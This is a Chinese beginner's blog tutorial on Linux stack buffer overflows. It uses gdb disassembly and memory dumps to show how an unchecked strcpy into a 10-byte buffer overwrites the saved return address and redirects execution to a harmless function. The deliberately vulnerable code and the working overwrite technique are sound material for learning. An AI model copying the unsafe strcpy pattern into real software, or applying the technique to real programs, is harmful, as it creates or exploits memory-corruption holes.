初尝Linux栈溢出
利用栈缓冲区溢出的本质,就是利用程序的漏洞和缺陷,使用精心构造的输入去触发溢出,改变EIP寄存器的值,从而能够控制程序的流程。
但是EIP寄存器可不是像通用寄存器方便的,能说改就改,这可是整个程序流的根本所在。但是难改是难改,但是不代表没法改嘛。
程序在执行子过程时总是要根据过程地址通过跳转指令重新设置eip的值,原来的值则和别的状态一起暂时保存在栈中,这就给了Shellex可乘之机。
Shellex的平台:
$ uname -a
Linux shellex-laptop 2.6.27-7-generic #1 SMP Tue Nov 4 19:33:20 UTC 2008 i686 GNU/Linux
首先Shellex写了这么一个程序
#include "stdio.h"
#include "string.h"
int fun(char *str) {
char buffer[10];
strcpy(buffer,str);
printf("%s",buffer);
return 0;
}
int main(int argc,char *argv[]) {
int i=0;
char *str;
str=argv[1];
fun(str);
return 0;
}
然后用gcc编译一下,再使用gdb加载进入,下断点在12行,然后以参数123456运行
$ gcc -g -fno-stack-protector test.c -o test
$ gdb test
...
(gdb) b 14
Breakpoint 1 at 0x804843e: file test.c, line 14.
(gdb) r 123456
Starting program: /home/shellex/Desktop/test 123456
Breakpoint 1, main (argc=2, argv=0xbfb70044) at test.c:14
14 str=argv[1];
接下来偶反汇编一下main函数:
(gdb) disassemble main
Dump of assembler code for function main:
0x08048426 : lea 0x4(%esp),%ecx
0x0804842a : and $0xfffffff0,%esp
0x0804842d : pushl -0x4(%ecx)
0x08048430 : push %ebp
0x08048431 : mov %esp,%ebp
0x08048433 : push %ecx
0x08048434 : sub $0x14,%esp
0x08048437 : movl $0x0,-0xc(%ebp)
0x0804843e : mov 0x4(%ecx),%eax
0x08048441 : add $0x4,%eax
0x08048444 : mov (%eax),%eax
0x08048446 : mov %eax,-0x8(%ebp)
0x08048449 : mov -0x8(%ebp),%eax
0x0804844c : mov %eax,(%esp)
0x0804844f : call 0x80483f4
0x08048454 : mov $0x0,%eax
0x08048459 : add $0x14,%esp
0x0804845c : pop %ecx
0x0804845d : pop %ebp
0x0804845e : lea -0x4(%ecx),%esp
0x08048461 : ret
End of assembler dump.
可以看到,在0×0804844f处,执行了call fun,接下来的0×08048454就是fun执行完毕以后接着执行的起始地址,先记住这个地址 0×08048454。
接着next, si, si, si进入fun函数, 反汇编fun函数:
(gdb) disassemble fun
Dump of assembler code for function fun:
0x080483f4 : push %ebp
0x080483f5 : mov %esp,%ebp
0x080483f7 : sub $0x18,%esp
0x080483fa : mov 0x8(%ebp),%eax
0x080483fd : mov %eax,0x4(%esp)
0x08048401 : lea -0xa(%ebp),%eax
0x08048404 : mov %eax,(%esp)
0x08048407 : call 0x804831c
0x0804840c : lea -0xa(%ebp),%eax
0x0804840f : mov %eax,0x4(%esp)
0x08048413 : movl $0x8048530,(%esp)
0x0804841a : call 0x804832c
0x0804841f : mov $0x0,%eax
0x08048424 : leave
0x08048425 : ret
End of assembler dump.
然后查看一下栈顶指针和栈的情况。
(gdb) i reg $esp
esp 0xbfb6ff8c 0xbfb6ff8c
(gdb) x/16x $esp
0xbfb6ff8c: 0x08048454 0xbfb70658 0x08049ff4 0xbfb6ffb8
0xbfb6ff9c: 0x00000000 0xbfb70658 0xbfb6ffc0 0xbfb70018
0xbfb6ffac: 0xb7df7685 0x08048480 0x08048340 0xbfb70018
0xbfb6ffbc: 0xb7df7685 0x00000002 0xbfb70044 0xbfb70050
会发现栈顶0xbfb6ff8c的值刚好就是我们先前记录的那个返回地址0×08048454。因为执行call fun的时候,这条指令相当于:
push %eip
jmp 0x8048430
我们知道%eip即下一条指令的值,而call fun的下一条指令地址刚好就是0×08048454。
只有这样,fun函数在返回的时候才能从栈中知道应该回到哪里去执行。
接着看看buffer:
(gdb) n
6 strcpy(buffer,str);
(gdb) p (char*)buffer
$1 = 0xbfb6ff7e "..."
(gdb) x/16x $esp
0xbfb6ff70: 0x00000000 0x00000000 0xbfb70634 0xb7e4fdae
0xbfb6ff80: 0xb7efe849 0x08049ff4 0xbfb6ffa8 0x08048454
0xbfb6ff90: 0xbfb70658 0x08049ff4 0xbfb6ffb8 0x00000000
0xbfb6ffa0: 0xbfb70658 0xbfb6ffc0 0xbfb70018 0xb7df7685
现在程序为buffer分配了一块内存,从0xbfb6ff7e到0xbfb6ff8b,大小为10字节。紧跟在它后面的,是main函数中进入fun函数前的栈顶地址(0xbfb6ffa8)和是返回值的地址(0×08048454)
接着运行:
(gdb) n
7 printf("%s",buffer);
(gdb) x/16x $esp
0xbfb6ff70: 0xbfb6ff7e 0xbfb70658 0xbfb70634 0x3231fdae
0xbfb6ff80: 0x36353433 0x08049f00 0xbfb6ffa8 0x08048454
0xbfb6ff90: 0xbfb70658 0x08049ff4 0xbfb6ffb8 0x00000000
0xbfb6ffa0: 0xbfb70658 0xbfb6ffc0 0xbfb70018 0xb7df7685
可以看到从0xbfb6ff7e开始的6个字节被覆盖成了31, 32, 33, 34, 35, 36 (x86平台的地址遵循高位在前,低位在后的原则)
现在好了,如果我们复制字符串的时候不太小心,超过了14字节,就会把后面的返回值地址给覆盖掉(如果你打算不返回main函数的话,main的栈顶地址就无所谓了)。
覆盖掉的后果?
0x08048424 : leave #相当于mov %ebp %esp和pop %ebp
0x08048425 : ret #相当于pop eip
呵呵,覆盖掉以后,再Pop出来的eip就不是原来那个eip咯~
如何利用?
在刚才那个程序的基础上编写如下程序:
#include
#include "stdio.h"
#include "string.h"
void foo(){
char *a="Shit.\n";
__asm__ __volatile__(
"movl $6, %%edx;\n" //str len
"movl %0, %%ecx;\n" //str addr
"movl $1, %%ebx;\n" //file handle (stdout)
"movl $4, %%eax;\n" //system call number (sys_write)
"int $0x80;\n" // call kernel
//# and exit"
"movl $0, %%ebx;\n" // first argument: exit code
"movl $1, %%eax;\n" // system call number (sys_exit)
"int $0x80;\n" // call kernel
:
:"m"(a)
:"%eax");
}
int fun(char *str)
{
char buffer[10];
strcpy(buffer,str);
printf("%s",buffer);
return 0;
}
int main(int argc,char **argv)
{
char str[]="AAAAAAAAAA"
"AAAAAAA";
*((int*)(&str[14]))=(int)foo;
fun(str);
return 0;
}
这个程序也非常简单。可以看到,除了main中的微妙变化,别的就是多加了一个fun函数。这个函数使用Linux中断直接调用系统调用,执行了一个打印字符串”Shit.”的操作 和 一个退出程序操作。之所以使用内联汇编的原因是偶不敢面对溢出成功后混乱的栈间关系(很难重定位啦,偶是个新手哈)
不过没关系,看上去这个程序它始终只用到了main和foo,fun函数就是幌子。
是么? 来运行一下:
./oft
Shit.
Shit. foo居然把’Shit’打印了出来!谜底将在gdb中呈现。
先跟刚才一样,看看返回地址:
...
0x08048498 : mov %eax,(%esp)
0x0804849b : call 0x8048423
0x080484a0 : mov $0x0,%eax
...
然后断在了23行strcpy之前。来看看buffer被赋值前的内存状况:
(gdb) x/16x $esp
0xbfa31630: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfa31640: 0x00000000 0x00000000 0xbfa31678 0x080484a0
0xbfa31650: 0xbfa31662 0x08049ff4 0xbfa31668 0x080482e8
0xbfa31660: 0x4141cff4 0x41414141 0x41414141 0x41414141
再看看buffer被赋值后的内存状况:
(gdb) n
24 printf("%s",buffer);
(gdb) x/16x $esp
0xbfa31630: 0xbfa3163e 0xbfa31662 0x00000000 0x41410000
0xbfa31640: 0x41414141 0x41414141 0x41414141 0x080483f4
0xbfa31650: 0xbfa31690 0xbfa316e8 0xb7eb9685 0x080484c0
0xbfa31660: 0x08048340 0xbfa316e8 0xb7eb9685 0x41410001
在一大堆41的后面,返回地址已经变成foo的入口地址了~
当然随后fun一退出,eip就指向了foo,foo就开始执行了咯。
(gdb) n
25 return 0;
(gdb) i reg eip
eip 0x804844e 0x804844e
(gdb) si
27 }
(gdb)
Cannot access memory at address 0x41414145
(gdb)
foo () at oft.c:4
4 void foo(){
(gdb) i reg eip
eip 0x80483f4 0x80483f4
bwt: 最后出现的访问错误是因为pop出的%ebp地址是错误的(它也被覆盖啦~但是为什么要加4呢?偶也没看懂,有搞安全的朋友告诉Shellex一下啦。谢谢)
(gdb) i reg ebp
ebp 0x41414141 0x41414141
